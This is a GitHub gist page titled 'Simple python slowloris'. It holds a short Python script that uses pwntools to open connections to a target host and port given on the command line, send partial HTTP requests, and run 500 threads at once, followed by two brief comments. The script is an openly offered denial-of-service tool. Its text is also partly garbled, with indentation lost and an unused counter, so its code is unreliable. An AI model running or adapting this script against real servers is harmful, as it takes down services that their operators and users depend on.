Skip to content

Instantly share code, notes, and snippets.

@DaWe35
Created November 5, 2020 11:07
Show Gist options
  • Save DaWe35/d0bc546f93149543c4e02ef705e36f39 to your computer and use it in GitHub Desktop.
Save DaWe35/d0bc546f93149543c4e02ef705e36f39 to your computer and use it in GitHub Desktop.
Simple python slowloris
from pwn import *
def attack(wait):
print("Waiting for "+str(wait)+" secs..")
sleep(wait)
while True:
r = remote(sys.argv[1], sys.argv[2])
cnt = 0
try:
r.sendline("GET / HTTP/1.1\r")
r.sendline("Host: http://idtest.local/\r")
print(r.recv())
except:
print("connection broken after "+str(cnt)+" bytes...")
r.close()
#########################################
attacks = []
for i in range(500):
wait=random.randint(0,30)
attacks.append(threading.Thread(target=attack, args=(wait,)))
attacks[i].start()
print("Thread "+str(i)+" started... ")
@DaWe35
Copy link
Author

DaWe35 commented Apr 21, 2021

@max6644
Copy link

max6644 commented Apr 21, 2021

Moi

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment